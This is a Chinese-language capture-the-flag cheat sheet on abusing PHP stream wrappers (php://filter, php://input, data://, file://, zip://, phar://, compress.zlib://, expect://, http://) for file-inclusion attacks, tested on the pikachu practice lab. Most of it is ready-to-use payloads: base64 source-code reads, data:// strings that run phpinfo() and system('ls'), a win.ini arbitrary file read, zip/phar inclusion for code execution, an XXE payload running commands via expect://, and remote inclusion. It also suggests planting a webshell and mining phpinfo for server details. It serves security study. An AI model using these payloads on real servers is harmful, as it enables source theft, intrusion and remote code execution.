PHP伪协议:
- file:// #访问本地文件系统
- http:// #访问HTTPs网址
- ftp:// #访问ftp URL
- php:// #访问输入输出流
- zlib:// #压缩流
- data:// #数据(RFC 2397)
- ssh2:// #security shell2
- expect:// #处理交互式的流
- glob:// #查找匹配的文件路径
- phar:// #PHP 归档
- rar:// #RAR
- ogg:// #音频流
配置文件PHP.ini中关键参数:
- allow_url_fopen:是否允许打开远程文件
- allow_url_include:是否允许 include/require 远程文件
php://
在CTF中经常用到的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码
php://filter
读取文件(必须使用base64编码读取出来源码,明文会被php解析执行,无法看到源码):
filename=php://filter/read=convert.base64-encode/resource=../../index.php
filename=../../index.php
会直接当成php文件解析
php://input
使用条件:
allow_url_include:on
代码执行:
可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行
也可以写入一句话木马:
data://
自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据
使用条件:
- allow_url_fopen :on
- allow_url_include:on
代码执行:
filename=data://text/plain,<?php phpinfo();?>
filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
filename=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=
补充:
在phpinfo中需要关注的敏感信息:
- 绝对路径
包含环境变量 $_SERVER[‘PATH’] 文件根目录 $_SERVER[‘DOCUMENT_ROOT’] 等信息
- 支持的程序
可以看看服务器是否加载了redis、memcache、mongodb、mysql、curl,是否支持gopher、是否开启了fastcgi - 查看真实IP
$_SERVER[‘SERVER_ADDR’] 或SERVER_ADDR
绕开 cdn 获取 C 段资产,旁站等重要信息 - 查看敏感配置
allow_url_include:远程文件包含
allow_url_fopen:远程文件读取
disable_functions:禁用的函数名
open_basedir:可将用户访问文件的活动范围限制在指定的区域
short_open_tag:允许<??>这种形式,并且<?=等价于<? echo - 配置文件位置
读取配置文件内容,获取信息
Loaded Configuration File
file://
file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。
任意文件读取:
filename=file:///C://windows/win.ini
zip://
zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件
当zip:// 与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。
zip://中只能传入绝对路径,且要用#(#要用url编码%23)分隔压缩包和压缩包里的内容
只需要是zip的压缩包即可,后缀名可以为任意格式。
filename=zip://D:/phpstudy_pro/phpinfo.zip%23phpinfo.txt
zlib://
代码执行:
filename=compress.zlib://D:\phpstudy_pro\phpinfo.gz
phar://
phar://协议与zip://类似,同样可以访问zip格式压缩包内容
代码执行:
filename=phar://D:\phpstudy_pro\phpinfo.zip/phpinfo.txt
expact://
XXE漏洞命令执行:
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "expect://id" > ]> <foo>&xxe;</foo>
http:// & https:// 协议
允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源。CTF中通常用于远程包含。
代码执行:
filename=http://127.0.0.1:8088/phpinfo.txt
安全配置小建议:
以上测试使用的是pikachu靶场,建议在使用时更改配置
更改为Allow from 127.0.0.1
这样和陌生人在同一局域网中时就不怕因为pikachu靶场被远控主机了